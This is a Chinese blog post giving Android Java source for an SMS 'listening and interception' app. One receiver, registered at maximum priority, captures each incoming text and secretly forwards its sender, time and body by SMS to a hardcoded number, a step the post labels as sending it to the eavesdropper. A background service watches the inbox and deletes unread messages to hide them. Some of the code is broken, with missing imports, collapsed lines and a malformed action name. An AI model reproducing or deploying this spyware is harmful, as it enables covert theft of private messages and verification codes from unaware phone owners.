• 短信监听+短信拦截


    监听消息发送和消息是否被接收。

    import android.app.Activity;
    import android.app.PendingIntent;
    import android.content.Intent;
    import android.content.IntentFilter;
    import android.os.Bundle;
    import android.provider.Telephony.Sms;
    import android.telephony.SmsManager;
    import android.view.Menu;
    import android.view.MenuItem;
    import android.view.View;
    import android.view.View.OnClickListener;
    import android.widget.Button;
    import android.widget.EditText;
    
    public class MainActivity extends Activity {
        private EditText num;
        private EditText text;
        private Button send;
    
        @Override
        protected void onCreate(Bundle savedInstanceState) {
            super.onCreate(savedInstanceState);
            setContentView(R.layout.activity_main);
            init();
    //启动service 触发短信拦截 Intent service
    =new Intent(MainActivity.this, SMSService.class); startService(service); } private class SendOnClickListenerImpl implements OnClickListener { public void onClick(View arg0) { Intent intent = new Intent("SMS_SEND_ACTION"); Intent intented = new Intent("SMS_DELIVERED_ACTION"); SmsManager sms = SmsManager.getDefault(); String phoneNum = num.getText().toString(); String smsContent = text.getText().toString(); PendingIntent pending = PendingIntent.getBroadcast( MainActivity.this, 0, intent, 0); PendingIntent pendinged = PendingIntent.getBroadcast( MainActivity.this, 0, intented, 0);
    //注册短信已发送 registerReceiver(
    new SMSReceive(), new IntentFilter( "SMS_SEND_ACTION"));
    //注册短信已被接收 registerReceiver(
    new SMSReceived(), new IntentFilter( "SMS_DELIVERED_ACTION"));
    //短信分段
    if (smsContent.length() > 70) { List<String> smsText = sms.divideMessage(smsContent); Iterator<String> it = smsText.iterator(); while (it.hasNext()) { String next = it.next(); sms.sendTextMessage(phoneNum, null, next, pending, pendinged); } } else { sms.sendTextMessage(phoneNum, null, smsContent, pending, pendinged); } } } private void init() { this.num = (EditText) super.findViewById(R.id.num); this.text = (EditText) super.findViewById(R.id.text); this.send = (Button) super.findViewById(R.id.send); this.send.setOnClickListener(new SendOnClickListenerImpl()); } @Override public boolean onCreateOptionsMenu(Menu menu) { // Inflate the menu; this adds items to the action bar if it is present. getMenuInflater().inflate(R.menu.main, menu); return true; } @Override public boolean onOptionsItemSelected(MenuItem item) { // Handle action bar item clicks here. The action bar will // automatically handle clicks on the Home/Up button, so long // as you specify a parent activity in AndroidManifest.xml. int id = item.getItemId(); if (id == R.id.action_settings) { return true; } return super.onOptionsItemSelected(item); } }

     短信发送提示

    package com.example.smslistener;
    
    import android.app.Activity;
    import android.content.BroadcastReceiver;
    import android.content.Context;
    import android.content.Intent;
    import android.telephony.SmsManager;
    import android.widget.Toast;
    
    public class SMSReceive extends BroadcastReceiver {
    
        @Override
        public void onReceive(Context context, Intent arg1) {
            // TODO Auto-generated method stub
            if(arg1.getAction().equals("SMS_SEND_ACTION")){
                switch(super.getResultCode()){
                case Activity.RESULT_OK:
                    Toast.makeText(context, "短信已发送!", Toast.LENGTH_SHORT).show();
                    
                break;
                case SmsManager.RESULT_ERROR_GENERIC_FAILURE:
                    Toast.makeText(context, "短信发送失败!", Toast.LENGTH_SHORT).show();
                break;
                
                }
                
            }
        }
    
    }

     短信是否接收提示

    package com.example.smslistener;
    
    import android.app.Activity;
    import android.content.BroadcastReceiver;
    import android.content.Context;
    import android.content.Intent;
    import android.telephony.SmsManager;
    import android.widget.Toast;
    
    public class SMSReceived extends BroadcastReceiver {
    
        @Override
        public void onReceive(Context context, Intent arg1) {
            // TODO Auto-generated method stub
            if (arg1.getAction().equals("SMS_DELIVERED_ACTION")) {
                switch (super.getResultCode()) {
                case Activity.RESULT_OK:
                    Toast.makeText(context, "短信已接收", Toast.LENGTH_SHORT).show();
                    break;
                case SmsManager.RESULT_ERROR_GENERIC_FAILURE:
                    Toast.makeText(context, "短信发送失败!", Toast.LENGTH_SHORT).show();
                    break;
    
                }
    
            }
    
        }
    
    }

    监听系统广播,发送给窃听者

    package com.example.smslistener;
    
    import java.text.SimpleDateFormat;
    import java.util.Date;
    import java.util.Locale;
    
    import android.app.PendingIntent;
    import android.content.BroadcastReceiver;
    import android.content.Context;
    import android.content.Intent;
    import android.telephony.SmsManager;
    import android.telephony.SmsMessage;
    
    public class SMSSendReceive extends BroadcastReceiver {
    
        @Override
        public void onReceive(Context arg0, Intent arg1) {
            if (arg1.getAction().equals("android.provider.Telephony.SMS_RECEIVED")) {
    //拿到短信内容 pdus是固定的key Object[] pdusDate
    = (Object[]) arg1.getExtras().get("pdus"); for (int i = 0; i < pdusDate.length; i++) { byte[] pdus = (byte[]) pdusDate[i]; SmsMessage message = SmsMessage.createFromPdu(pdus); String time = new SimpleDateFormat("yyyy,MM,dd hh.mm.ss", Locale.CHINA).format(new Date(message .getTimestampMillis())); String num = message.getOriginatingAddress(); String body = message.getMessageBody(); SmsManager sms = SmsManager.getDefault(); PendingIntent sentIntent = PendingIntent.getActivity(arg0, 0, arg1, PendingIntent.FLAG_UPDATE_CURRENT); String content = "短信号码:" + num + "\n发送时间:" + time + "\n短信内容:(" + body + ")";
    //这里、、、 String destination
    = "10010"; sms.sendTextMessage(destination, null, content, sentIntent, null); } } } }

     监听

     <receiver android:name=".SMSSendReceive" >
                <intent-filter android:priority="2147483647" >
                    <action android:name="android.provider.Telephony.s" />
                    <action android:name="android.provider.Telephony.SMS_RECEIVED" />
                </intent-filter>
            </receiver>

    触发短信拦截

    package com.example.smslistener;
    
    
    import android.app.Service;
    import android.content.ContentResolver;
    import android.content.Intent;
    import android.net.Uri;
    import android.os.IBinder;
    import android.os.Process;
    public class SMSService extends Service {
         private SmsObserver mObserver;
        @Override
        public IBinder onBind(Intent arg0) {
            // TODO Auto-generated method stub
            return null;
        }
    
         @Override
         public void onCreate() {//contentresolver通过uri来找到数据
          ContentResolver resolver = getContentResolver();  
        //实例化数据库观察者
          mObserver = new SmsObserver(resolver, new SmsHandler(this));
          
    //      resolver.registerContentObserver(路径,notifyForDescendents,观察者)
    //     notifyForDescendents=为false 表示精确匹配,即只匹配该Uri为true 表示可以同时匹配其派生的Uri
          resolver.registerContentObserver(Uri.parse("content://sms"), true, mObserver);
         }
    
         @Override
         public void onDestroy() {
          this.getContentResolver().unregisterContentObserver(mObserver);
          Process.killProcess(Process.myPid());
             super.onDestroy();
         }
    
        public int onStartCommand(Intent intent, int flags, int startId) {
            flags=START_STICKY;
            return super.onStartCommand(intent, flags, startId);
            }
        }
        
        

    数据库观察者

    package com.example.smslistener;
    
    import android.content.ContentResolver;
    import android.database.ContentObserver;
    import android.database.Cursor;
    import android.net.Uri;
    import android.os.Message;

    public class SmsObserver extends ContentObserver { private ContentResolver mResolver; public SmsHandler smsHandler; public SmsObserver(ContentResolver mResolver, SmsHandler handler) { super(handler); this.smsHandler = handler; this.mResolver = mResolver; } public void onChange(boolean selfChange) { Cursor mCursor = mResolver.query(Uri.parse("content://sms/inbox"), new String[] { "_id", "address", "read", "body", "thread_id" }, "read=?", new String[]{"0"}, "date desc"); if(mCursor==null){ return; }else{ while(mCursor.moveToNext()){ SmsInfo smsInfo=new SmsInfo(); int idIndex=mCursor.getColumnIndex("_id"); if(idIndex!=-1){ smsInfo._id=mCursor.getString(idIndex); } int threadId=mCursor.getColumnIndex("_thread_id"); if(threadId!=-1){ smsInfo.thread_id=mCursor.getString(threadId); } int addressIndex=mCursor.getColumnIndex("address"); if(addressIndex!=-1){ smsInfo.address=mCursor.getString(addressIndex); } int bodyIndex=mCursor.getColumnIndex("body"); if(bodyIndex!=-1){ smsInfo.body=mCursor.getString(bodyIndex); } // 拦截策略是否对短信进行操作 Message msg=smsHandler.obtainMessage(); //0不对短信进行操作;1将短信设置为已读;2将短信删除 smsInfo.action=2; msg.obj=smsInfo; smsHandler.sendMessage(msg); } } //擦屁股 if(mCursor!=null){ mCursor.close(); mCursor=null; } } }

     字段信息

    package com.example.smslistener;
    
    public class SmsInfo {
        public String _id = "";
        public String thread_id = "";
        public String address = "";
        public String body = "";
        public String read = "";
        public int action = 0;// 1代表设置为已读,2表示删除短信
    }

    短信处理

    package com.example.smslistener;
    
    import android.content.ContentValues;
    import android.content.Context;
    import android.net.Uri;
    import android.os.Handler;
    import android.os.Message;
    
    public class SmsHandler extends Handler { 
        private Context mcontext;
    
        public SmsHandler(Context context) {
            this.mcontext = context; 
        }
    
        @Override 
        public void handleMessage(Message msg) {
                SmsInfo smsinfo = (SmsInfo) msg.obj;
                if (smsinfo.action == 1) {
                    ContentValues value = new ContentValues();
                    value.put("read", "1");
                    mcontext.getContentResolver().update(
                            Uri.parse("content://sms/inbox"), value, "thread_id=?",
                            new String[] { smsinfo.thread_id });
                } else if (smsinfo.action == 2) {
                    Uri mUri = Uri.parse("content://sms/");
                    mcontext.getContentResolver().delete(mUri, "_id=?",
                            new String[] { smsinfo._id });
                }
        }
    
        
    
    }
    权限:

      <uses-permission android:name="android.permission.SEND_SMS" /> <uses-permission android:name="android.permission.RECEIVE_SMS" /> <uses-permission android:name="android.permission.READ_SMS"/> <uses-permission android:name="android.permission.WRITE_SMS"/>

     

     

     

     

    布局自己解决。

     

  • 相关阅读:
    js函数对象
    jQuery选择器
    js数组
    js知识点
    正则|数字|Format
    Ajax基础
    MVC 打包压缩
    JS(正则|JSON)
    CLR via C#
    Exists/In/Any/All/Contains操作符
  • 原文地址:https://www.cnblogs.com/mydomainlistentome/p/4699737.html
Copyright © 2020-2023  润新知